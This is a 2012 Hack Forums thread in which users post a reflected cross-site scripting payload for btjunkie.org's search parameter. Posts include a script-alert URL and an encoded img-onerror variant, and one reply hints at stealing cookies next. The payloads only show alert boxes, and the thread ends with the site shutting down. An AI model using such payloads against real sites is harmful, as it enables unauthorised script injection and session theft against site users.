Hack Forums
<XSS>http://btjunkie.org</XSS> - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat β€’ Purple Team β€’ Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: <XSS>http://btjunkie.org</XSS> (/showthread.php?tid=2159056)



<XSS>http://btjunkie.org</XSS> - KarSticx - Jan 29, 2012

I Found Xss On http://btjunkie.org

http://btjunkie.org/search?q=<script>alert('Hacked')</script>;

🀝 🀝 🀝 🀝 🀝


* - Truth Will Out - Jan 29, 2012

damn man nice find if i could +3 you i would but i cant :(


* - KarSticx - Jan 29, 2012

(Jan 29, 2012 06:32 AM)sienk01 Wrote:  damn man nice find if i could +3 you i would but i cant :(

No Problem Man
But Thank You :)
πŸ‘ πŸ‘ πŸ‘


* - Obi-Wan Cannabis - Jan 29, 2012

What? You just pasted: <script>alert('Hacked')</script> into the search bar...
I mean, I dunno shit about XSS... x)



* - Vikta_ - Jan 29, 2012

Now you need to find out how to steal cookies. But keep in mind the cookie monster wont be glad if you do...

Anywho, nice find there:-)


* - KarSticx - Jan 29, 2012

(Jan 29, 2012 06:57 AM)iCrackβ„’ Wrote:  What? You just pasted: <script>alert('Hacked')</script> into the search bar...
I mean, I dunno shit about XSS... x)

I Press Search And I See This Link
http://btjunkie.org/search?q=
and I Paste search?q=<script>alert('Hacked')</script>

And Done :D




* - Vikta_ - Jan 29, 2012

(Jan 29, 2012 06:59 AM)thanasis17 Wrote:  I Press Search And I See This Link
http://btjunkie.org/search?q=
and I Paste search?q=<script>alert('Hacked')</script>

And Done :D

http://btjunkie.org/search?q=%3Cimg+src%3D%26nbsp%3B+onerror%3Dalert%28%22Hoffmann%22%29%3B%3E

Tihi:D



Also a challenge for you would be to find these XSS on Zer0Lulz XSS challenge:D https://hackforums.net/showthread.php?tid=2156851


* - fobber - Feb 5, 2012

It doesn't seem to work for me.
Did they fix it yet, or am I just totally an idiot at this?


* - KarSticx - Feb 5, 2012

(Feb 5, 2012 05:56 AM)fobber Wrote:  It doesn't seem to work for me.
Did they fix it yet, or am I just totally an idiot at this?

visit this link
btjunkie.org/search?q=<script>alert('test')</script>



* - stdape2011 - Feb 5, 2012

works here but its just a simple XSS i have found lots of sites the same.
Does anyone actually still use BTJunkie?? it went to legal lol


* - fobber - Feb 5, 2012

I don't think that BTJunkie went legal. Mininova did, but I don't think BTJunkie did. At least I'm still able to find tons of movies and games on there.
Anyway, back on topic. For me I don't get any alert/popup, all I get is this:
Spoiler (Click to View)
- Does it matter that I'm on Google Chrome?

Edit: Yeah. I tried on FireFox and it worked on there. My bad!(:


* - Cristiano Ronaldo - Feb 5, 2012

i don't know about XSS but it doesn't seem to work for me either. or maybe they fixed it already?

EDIT:
I think it does matter if your using Google Chrome. I tried it on Firefox and it does work :D


* - protocol - Feb 6, 2012

yeah i too saw that few days back and at the same url :)


* - spriteGhost - Feb 6, 2012

im on firefox right now and its not working for me? anyone able to verify if this has been fixed?


* - fobber - Feb 6, 2012

I was just about to go test it for you, but then I noticed that it seems like BTJunkie is down.. Awh..
Quote:This is the end of the line my friends. The decision does not come easy, but we've decided to voluntarily shut down. We've been fighting for years for your right to communicate, but it's time to move on. It's been an experience of a lifetime, we wish you all the best!